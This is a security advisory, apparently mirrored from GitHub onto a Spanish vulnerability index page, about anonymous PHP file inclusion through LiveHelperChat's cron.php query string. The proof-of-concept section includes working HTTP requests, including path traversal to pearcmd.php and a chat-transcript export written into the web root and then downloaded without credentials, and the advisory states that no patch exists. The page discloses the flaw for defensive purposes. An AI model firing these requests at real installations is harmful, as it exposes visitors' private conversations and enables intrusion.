GHSA-HV33-C7M2-4XRV
Anonymous arbitrary PHP file inclusion via cron.php query string
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HV33-C7M2-4XRV divulgada · CVSS 8.2 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`lhc_web/cron.php` is a command line entry point that the deployment layout places in the web root. It parses its options with `ezcConsoleInput`, which reads `$_SERVER['argv']`. PHP fills that array from the query string in every SAPI where `register_argc_argv` is enabled, splitting it at each literal `+`, so an anonymous HTTP request supplies the command line.
`cron.php` carries no SAPI guard. The project's other command line entry point, `cli/install-cli.php:4`, exits when `php_sapi_name()` is not `cli`.
The value of the `-c` option is concatenated into an `include_once` at `cron.php:172`, with the fixed prefix `modules/lh` and the fixed suffix `.php`. There is no extension check, no `realpath` and no `basename`, and a relative path leaves the directory even when its first component does not exist.
Result: an anonymous HTTP request includes any `.php` file readable by the web server user, and runs any job of the cron catalogue with an attacker chosen `-p` argument.
Details
`cron.php:172` concatenates the `-c` option value into `include_once('modules/lh'.$cronjobPartOption->value.'.php')`, and `cron.php:170` holds a second sink for the `-e` option. The value reaches that line from `$input->process()` at `cron.php:66`, and `ezcConsoleInput::process()` reads the command line at `ezcomponents/ConsoleTools/src/input.php:519` as `isset($argv) ? $argv : (isset($_SERVER['argv']) ? $_SERVER['argv'] : array())`. `$argv` there is a function-local variable with no `global` statement, so the `isset()` is always false and the fallback to `$_SERVER['argv']` is unconditional. `cron.php` performs no `php_sapi_name()` check, while `cli/install-cli.php:4` exits with `-1` when the SAPI is not `cli`. The repository `Dockerfile:18` copies `./lhc_web` to `/var/www/html`, which is the document root, and the shipped `.htaccess` sets CORS headers only.
Reachable with no configuration change and no account.
Requires `register_argc_argv` enabled in the web SAPI. The official `php:8.2-apache` and `php:8.2-fpm` images load no `php.ini` at all, so the compiled-in default `On` applies to both: mod_php and PHP-FPM are equally affected. Installations that copy `php.ini-production` or `php.ini-development` are not affected, both set it to `Off`.
Options must be separated by literal `+` or raw spaces; `%20` does not split. The first token is consumed as `argv[0]`. The `-s` option must name a configured siteaccess, which is not a hurdle: `site_admin` ships in `settings/settings.ini.default.php:781`. The include target must end in `.php` and be readable by the web server user.
Proof of concept
LiveHelperChat 4.94v (`d8787d04`) on the official `php:8.2-apache` image with no `php.ini` loaded, default configuration, anonymous requests with an empty cookie jar. The repository `Dockerfile` pins `php:7.4-apache`, which no longer builds and could not run this version: `composer.json` sets `platform.php` to 8.2.0.
- Invoke a cron job without any credential.
GET /cron.php?x+-s+site_admin+-c+cron/dependencies HTTP/1.1
HTTP/1.1 200 OK
Content-Length: 609
Extensions check
Is the php_curl extension installed - Yes- Include a file outside the document root. `/usr/local/lib/php/pearcmd.php` executes. The first path component does not have to exist.
GET /cron.php?x+-s+site_admin+-c+zzznotexist/../../../../../../usr/local/lib/php/pearcmd
Warning: Undefined variable $php_errormsg in /usr/local/lib/php/PEAR/Config.php on line 1025
PEAR_Config::writeConfigFile fopen('/.pearrc','w') failed ()- Write every chat transcript into the web root, then fetch it anonymously.
GET /cron.php?x+-s+site_admin+-c+cron/util/export_chat_ml+-p+/var/www/html/var
Starting ChatML export
File : /var/www/html/var/export_2026-10-08_18-15-24.jsonl
Done. Processed: 1, Exported: 1
GET /var/export_2026-10-08_18-15-24.jsonl
HTTP/1.1 200 OK
Content-Length: 134
{"messages":[{"role":"user","content":"MEIN-GEHEIMNIS-LFI002-abc123 ..."}],"tools":[]}Controls
- Without parameters the sink is never reached: `GET /cron.php` returns `Content-Length: 0`.
- A non-existent job names the prefix back: `-c cron/doesnotexist1234` returns `Warning: include_once(modules/lhcron/doesnotexist1234.php): Failed to open stream ... on line 172`.
- Instrument control on the same image, same database and same source tree, with `register_argc_argv=Off` in `conf.d`: steps 1, 2 and 5 all return `Content-Length: 0` with no warning, so the sink is unreachable.
- `%20` instead of `+` returns an empty body: the split happens on the literal character only.
Live-verified: an anonymous HTTP request executes `/usr/local/lib/php/pearcmd.php` from outside the document root, and writes the full chat transcript export into the web root for anonymous download. Escalation to code execution through `pearcmd` was attempted and failed: the mandatory `-s` value occupies pear's own command slot.
Impact
- Every chat transcript, including anything a visitor typed into the widget, is exfiltrated unauthenticated.
- Any `.php` file readable by the web server user is included in the application context, with the configuration loaded and a database connection available on demand.
- The cron catalogue is invokable anonymously with an attacker chosen `-p` argument; `cron/util/export_chat_ml` writes its output file into a directory taken verbatim from that argument.
- `cron.php:22` raises `max_execution_time` to 3600 for these requests, against a web default of 30.
Credit
Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistremdex/livehelperchat |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-hv33-c7m2-4xrvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
